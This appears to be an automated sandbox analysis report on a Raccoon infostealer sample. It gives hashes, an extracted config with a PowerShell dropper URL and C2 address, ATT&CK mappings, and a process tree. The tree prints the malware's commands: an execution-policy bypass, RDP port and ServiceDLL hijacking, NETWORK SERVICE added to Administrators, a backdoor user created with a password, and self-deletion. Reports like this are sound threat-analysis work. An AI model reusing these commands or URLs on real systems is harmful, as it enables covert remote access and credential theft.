raccoon | 7672dfbaa089b5f55f22e1bf1f9f985e65cc9166455c83637d3219c2c9eb4dff

Analysis

max time kernel
88s
max time network
110s
platform
windows10_x64
resource
win10v20210410
submitted
03-06-2021 00:02

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General

Target

42cedc39e8da5fcd0b294e84aa406006.exe
Size

569KB
MD5

42cedc39e8da5fcd0b294e84aa406006
SHA1

b0e221a7ba816e9d51724af40b551d72b395d62b
SHA256

7672dfbaa089b5f55f22e1bf1f9f985e65cc9166455c83637d3219c2c9eb4dff
SHA512

349415ec56ea0b294beb98b3b5aecf7ad3a02e1024563bfdc4c08cfca1950f88224c3d8456e8e21720917705ef11ea9b8a64e8a4cacc4c5fd2f93a15ccdd35f3

Score

10^/10

raccoon e46634757936706c1ff491585768dd6fe231db30 discovery persistence spyware stealer upx

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Extracted

Family

raccoon

Botnet

e46634757936706c1ff491585768dd6fe231db30

Attributes

url4cnc
https://tttttt.me/jdiamond13

rc4.plain

Signatures

Raccoon
Simple but powerful infostealer which was very active in 2019.
stealer raccoon
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Blocklisted process makes network request 9 IoCs

flow	pid	Process
19	1772	powershell.exe
21	1772	powershell.exe
22	1772	powershell.exe
23	1772	powershell.exe
25	1772	powershell.exe
27	1772	powershell.exe
29	1772	powershell.exe
31	1772	powershell.exe
33	1772	powershell.exe

Downloads MZ/PE file

Executes dropped EXE 1 IoCs

pid	Process
4092	gYmsQZhOxV.exe

Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1076
Sets DLL path for service in the registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x0013000000000685-237.dat	upx
behavioral2/files/0x000c000000000687-238.dat	upx

Loads dropped DLL 8 IoCs

pid	Process
3952	42cedc39e8da5fcd0b294e84aa406006.exe
3952	42cedc39e8da5fcd0b294e84aa406006.exe
3952	42cedc39e8da5fcd0b294e84aa406006.exe
3952	42cedc39e8da5fcd0b294e84aa406006.exe
3952	42cedc39e8da5fcd0b294e84aa406006.exe
3952	42cedc39e8da5fcd0b294e84aa406006.exe
3464	Process not Found
3464	Process not Found

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Uninstall Information\IE40.UserAgent\IE40.UserAgent.DAT	powershell.exe
File opened for modification	C:\Program Files\Uninstall Information\IE40.UserAgent\IE40.UserAgent.INI	powershell.exe
File opened for modification	C:\Program Files\Uninstall Information\IE.HKCUZoneInfo\IE.HKCUZoneInfo.DAT	powershell.exe
File opened for modification	C:\Program Files\Uninstall Information\IE.HKCUZoneInfo\IE.HKCUZoneInfo.INI	powershell.exe

Drops file in Windows directory 19 IoCs

description	ioc	Process
File opened for modification	C:\Windows\branding\ShellBrd	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\__PSScriptPolicyTest_kucrxs3x.jtu.psm1	powershell.exe
File created	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\TMP4352$.TMP	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI95DD.tmp	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI960D.tmp	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI963E.tmp	powershell.exe
File created	C:\Windows\branding\mediasrv.png	powershell.exe
File created	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\branding\mediasrv.png	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\__PSScriptPolicyTest_nxjxex3u.ixm.ps1	powershell.exe
File created	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\INetCache\counters2.dat	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\branding\Basebrd	powershell.exe
File opened for modification	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI961D.tmp	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI966D.tmp	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
3956	timeout.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\PMDisplayName = "Computer [Protected Mode]"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\CurrentLevel = "69632"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\Icon = "shell32.dll#0018"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\PMDisplayName = "Restricted sites [Protected Mode]"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults\	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\SelfHealCount = "1"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\DisplayName = "Trusted sites"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Classes\Local Settings\MuiCache	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\CurrentLevel = "73728"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\Icon = "inetcpl.cpl#00004480"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE40.UserAgent\RegBackup\0.map	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\CurrentLevel = "66816"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\Icon = "inetcpl.cpl#00004480"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\1400 = "1"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\Description = "This zone contains all Web sites that are on your organization's intranet."	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults\ftp = "3"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\DisplayName = "Local intranet"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\1400 = "0"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\1400 = "1"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyByPass = "0"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Set value (data)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE.HKCUZoneInfo\RegBackup\0\e1be3f182420a0a0 = 2c0053006f006600740077006100720065005c004d006900630072006f0073006f00660074005c00570069006e0064006f00770073005c00430075007200720065006e007400560065007200730069006f006e005c0049006e007400650072006e00650074002000530065007400740069006e00670073002c000000	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\LowIcon = "inetcpl.cpl#005422"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults\file = "3"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\LowIcon = "inetcpl.cpl#005423"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\CurrentLevel = "70912"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\PMDisplayName = "Internet [Protected Mode]"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\LowIcon = "inetcpl.cpl#005426"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\Description = "This zone contains Web sites that you trust not to damage your computer or data."	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\PMDisplayName = "Internet [Protected Mode]"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\Flags = "33"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\PMDisplayName = "My Computer [Protected Mode]"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\LowIcon = "inetcpl.cpl#005424"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\PMDisplayName = "Computer [Protected Mode]"	powershell.exe
Set value (data)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE40.UserAgent\RegBackup\0\2ba02e083fadee33 = 2c0053006f006600740077006100720065005c004d006900630072006f0073006f00660074005c00570069006e0064006f00770073005c00430075007200720065006e007400560065007200730069006f006e005c0049006e007400650072006e00650074002000530065007400740069006e00670073002c004900450035005f00550041005f004200610063006b00750070005f0046006c00610067002c0000000100080035002e0030000000000000000000	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\CurrentLevel = "0"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults\knownfolder = "0"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\CurrentLevel = "0"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\CurrentLevel = "0"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\Icon = "inetcpl.cpl#001313"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\	powershell.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
1772	reg.exe

Runs net.exe

Script User-Agent 2 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	21	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	23	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
3808	powershell.exe
3808	powershell.exe
3808	powershell.exe
3148	powershell.exe
3148	powershell.exe
3148	powershell.exe
2248	powershell.exe
2248	powershell.exe
2248	powershell.exe
2004	powershell.exe
2004	powershell.exe
2004	powershell.exe
3808	powershell.exe
3808	powershell.exe
3808	powershell.exe
1772	powershell.exe
1772	powershell.exe
1772	powershell.exe

Suspicious behavior: LoadsDriver 2 IoCs

pid	Process
612	Process not Found
612	Process not Found

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3808	powershell.exe
Token: SeDebugPrivilege	3148	powershell.exe
Token: SeIncreaseQuotaPrivilege	3148	powershell.exe
Token: SeSecurityPrivilege	3148	powershell.exe
Token: SeTakeOwnershipPrivilege	3148	powershell.exe
Token: SeLoadDriverPrivilege	3148	powershell.exe
Token: SeSystemProfilePrivilege	3148	powershell.exe
Token: SeSystemtimePrivilege	3148	powershell.exe
Token: SeProfSingleProcessPrivilege	3148	powershell.exe
Token: SeIncBasePriorityPrivilege	3148	powershell.exe
Token: SeCreatePagefilePrivilege	3148	powershell.exe
Token: SeBackupPrivilege	3148	powershell.exe
Token: SeRestorePrivilege	3148	powershell.exe
Token: SeShutdownPrivilege	3148	powershell.exe
Token: SeDebugPrivilege	3148	powershell.exe
Token: SeSystemEnvironmentPrivilege	3148	powershell.exe
Token: SeRemoteShutdownPrivilege	3148	powershell.exe
Token: SeUndockPrivilege	3148	powershell.exe
Token: SeManageVolumePrivilege	3148	powershell.exe
Token: 33	3148	powershell.exe
Token: 34	3148	powershell.exe
Token: 35	3148	powershell.exe
Token: 36	3148	powershell.exe
Token: SeDebugPrivilege	2248	powershell.exe
Token: SeIncreaseQuotaPrivilege	2248	powershell.exe
Token: SeSecurityPrivilege	2248	powershell.exe
Token: SeTakeOwnershipPrivilege	2248	powershell.exe
Token: SeLoadDriverPrivilege	2248	powershell.exe
Token: SeSystemProfilePrivilege	2248	powershell.exe
Token: SeSystemtimePrivilege	2248	powershell.exe
Token: SeProfSingleProcessPrivilege	2248	powershell.exe
Token: SeIncBasePriorityPrivilege	2248	powershell.exe
Token: SeCreatePagefilePrivilege	2248	powershell.exe
Token: SeBackupPrivilege	2248	powershell.exe
Token: SeRestorePrivilege	2248	powershell.exe
Token: SeShutdownPrivilege	2248	powershell.exe
Token: SeDebugPrivilege	2248	powershell.exe
Token: SeSystemEnvironmentPrivilege	2248	powershell.exe
Token: SeRemoteShutdownPrivilege	2248	powershell.exe
Token: SeUndockPrivilege	2248	powershell.exe
Token: SeManageVolumePrivilege	2248	powershell.exe
Token: 33	2248	powershell.exe
Token: 34	2248	powershell.exe
Token: 35	2248	powershell.exe
Token: 36	2248	powershell.exe
Token: SeDebugPrivilege	2004	powershell.exe
Token: SeIncreaseQuotaPrivilege	2004	powershell.exe
Token: SeSecurityPrivilege	2004	powershell.exe
Token: SeTakeOwnershipPrivilege	2004	powershell.exe
Token: SeLoadDriverPrivilege	2004	powershell.exe
Token: SeSystemProfilePrivilege	2004	powershell.exe
Token: SeSystemtimePrivilege	2004	powershell.exe
Token: SeProfSingleProcessPrivilege	2004	powershell.exe
Token: SeIncBasePriorityPrivilege	2004	powershell.exe
Token: SeCreatePagefilePrivilege	2004	powershell.exe
Token: SeBackupPrivilege	2004	powershell.exe
Token: SeRestorePrivilege	2004	powershell.exe
Token: SeShutdownPrivilege	2004	powershell.exe
Token: SeDebugPrivilege	2004	powershell.exe
Token: SeSystemEnvironmentPrivilege	2004	powershell.exe
Token: SeRemoteShutdownPrivilege	2004	powershell.exe
Token: SeUndockPrivilege	2004	powershell.exe
Token: SeManageVolumePrivilege	2004	powershell.exe
Token: 33	2004	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3952 wrote to memory of 4092	3952	42cedc39e8da5fcd0b294e84aa406006.exe	78
PID 3952 wrote to memory of 4092	3952	42cedc39e8da5fcd0b294e84aa406006.exe	78
PID 3952 wrote to memory of 2720	3952	42cedc39e8da5fcd0b294e84aa406006.exe	79
PID 3952 wrote to memory of 2720	3952	42cedc39e8da5fcd0b294e84aa406006.exe	79
PID 3952 wrote to memory of 2720	3952	42cedc39e8da5fcd0b294e84aa406006.exe	79
PID 2720 wrote to memory of 3956	2720	cmd.exe	81
PID 2720 wrote to memory of 3956	2720	cmd.exe	81
PID 2720 wrote to memory of 3956	2720	cmd.exe	81
PID 4092 wrote to memory of 3808	4092	gYmsQZhOxV.exe	82
PID 4092 wrote to memory of 3808	4092	gYmsQZhOxV.exe	82
PID 3808 wrote to memory of 3508	3808	powershell.exe	84
PID 3808 wrote to memory of 3508	3808	powershell.exe	84
PID 3508 wrote to memory of 1648	3508	csc.exe	85
PID 3508 wrote to memory of 1648	3508	csc.exe	85
PID 3808 wrote to memory of 3148	3808	powershell.exe	86
PID 3808 wrote to memory of 3148	3808	powershell.exe	86
PID 3808 wrote to memory of 2248	3808	powershell.exe	89
PID 3808 wrote to memory of 2248	3808	powershell.exe	89
PID 3808 wrote to memory of 2004	3808	powershell.exe	91
PID 3808 wrote to memory of 2004	3808	powershell.exe	91
PID 3808 wrote to memory of 3260	3808	powershell.exe	93
PID 3808 wrote to memory of 3260	3808	powershell.exe	93
PID 3808 wrote to memory of 1772	3808	powershell.exe	94
PID 3808 wrote to memory of 1772	3808	powershell.exe	94
PID 3808 wrote to memory of 3144	3808	powershell.exe	95
PID 3808 wrote to memory of 3144	3808	powershell.exe	95
PID 3808 wrote to memory of 2164	3808	powershell.exe	96
PID 3808 wrote to memory of 2164	3808	powershell.exe	96
PID 2164 wrote to memory of 1240	2164	net.exe	97
PID 2164 wrote to memory of 1240	2164	net.exe	97
PID 3808 wrote to memory of 2740	3808	powershell.exe	98
PID 3808 wrote to memory of 2740	3808	powershell.exe	98
PID 2740 wrote to memory of 3208	2740	cmd.exe	99
PID 2740 wrote to memory of 3208	2740	cmd.exe	99
PID 3208 wrote to memory of 3848	3208	cmd.exe	100
PID 3208 wrote to memory of 3848	3208	cmd.exe	100
PID 3848 wrote to memory of 1128	3848	net.exe	101
PID 3848 wrote to memory of 1128	3848	net.exe	101
PID 3808 wrote to memory of 2196	3808	powershell.exe	102
PID 3808 wrote to memory of 2196	3808	powershell.exe	102
PID 2196 wrote to memory of 2828	2196	cmd.exe	103
PID 2196 wrote to memory of 2828	2196	cmd.exe	103
PID 2828 wrote to memory of 932	2828	cmd.exe	104
PID 2828 wrote to memory of 932	2828	cmd.exe	104
PID 932 wrote to memory of 2124	932	net.exe	105
PID 932 wrote to memory of 2124	932	net.exe	105
PID 3972 wrote to memory of 2248	3972	cmd.exe	109
PID 3972 wrote to memory of 2248	3972	cmd.exe	109
PID 2248 wrote to memory of 2928	2248	net.exe	110
PID 2248 wrote to memory of 2928	2248	net.exe	110
PID 3992 wrote to memory of 1812	3992	cmd.exe	113
PID 3992 wrote to memory of 1812	3992	cmd.exe	113
PID 1812 wrote to memory of 1564	1812	net.exe	114
PID 1812 wrote to memory of 1564	1812	net.exe	114
PID 3692 wrote to memory of 3956	3692	cmd.exe	117
PID 3692 wrote to memory of 3956	3692	cmd.exe	117
PID 3956 wrote to memory of 2740	3956	net.exe	118
PID 3956 wrote to memory of 2740	3956	net.exe	118
PID 1240 wrote to memory of 1832	1240	cmd.exe	121
PID 1240 wrote to memory of 1832	1240	cmd.exe	121
PID 1832 wrote to memory of 1464	1832	net.exe	122
PID 1832 wrote to memory of 1464	1832	net.exe	122
PID 2088 wrote to memory of 2352	2088	cmd.exe	125
PID 2088 wrote to memory of 2352	2088	cmd.exe	125

C:\Users\Admin\AppData\Local\Temp\42cedc39e8da5fcd0b294e84aa406006.exe
"C:\Users\Admin\AppData\Local\Temp\42cedc39e8da5fcd0b294e84aa406006.exe"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:3952
- C:\Users\Admin\AppData\Local\Temp\gYmsQZhOxV.exe
  "C:\Users\Admin\AppData\Local\Temp\gYmsQZhOxV.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4092
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
    3⤵
    - Drops file in Windows directory
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3808
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\amutdoir\amutdoir.cmdline"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3508
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES5C2F.tmp" "c:\Users\Admin\AppData\Local\Temp\amutdoir\CSC4AE3CED5DC0C4D95A76C66B041D5143E.TMP"
        5⤵
        
        PID:1648
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3148
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2248
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2004
  - - C:\Windows\system32\reg.exe
      "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
      4⤵
      PID:3260
  - - C:\Windows\system32\reg.exe
      "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
      4⤵
      Modifies registry key
      PID:1772
  - - C:\Windows\system32\reg.exe
      "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
      4⤵
      PID:3144
  - - C:\Windows\system32\net.exe
      "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2164
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
        5⤵
        
        PID:1240
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2740
    - - C:\Windows\system32\cmd.exe
        
        cmd /c net start rdpdr
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:3208
      - C:\Windows\system32\net.exe
        
        net start rdpdr
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:3848
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start rdpdr
        7⤵
        
        PID:1128
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2196
    - - C:\Windows\system32\cmd.exe
        
        cmd /c net start TermService
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:2828
      - C:\Windows\system32\net.exe
        
        net start TermService
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:932
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start TermService
        7⤵
        
        PID:2124
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
      4⤵
      PID:2196
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
      4⤵
      PID:3784
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\42cedc39e8da5fcd0b294e84aa406006.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2720
- - C:\Windows\SysWOW64\timeout.exe
    timeout /T 10 /NOBREAK
    3⤵
    - Delays execution with timeout.exe
    PID:3956

C:\Windows\System32\cmd.exe
cmd /C net.exe user wgautilacc Ghar4f5 /del
1⤵
- Suspicious use of WriteProcessMemory
PID:3972
- C:\Windows\system32\net.exe
  net.exe user wgautilacc Ghar4f5 /del
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2248
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc Ghar4f5 /del
    3⤵
    PID:2928

C:\Windows\System32\cmd.exe
cmd /C net.exe user wgautilacc YY6epZcX /add
1⤵
- Suspicious use of WriteProcessMemory
PID:3992
- C:\Windows\system32\net.exe
  net.exe user wgautilacc YY6epZcX /add
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1812
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc YY6epZcX /add
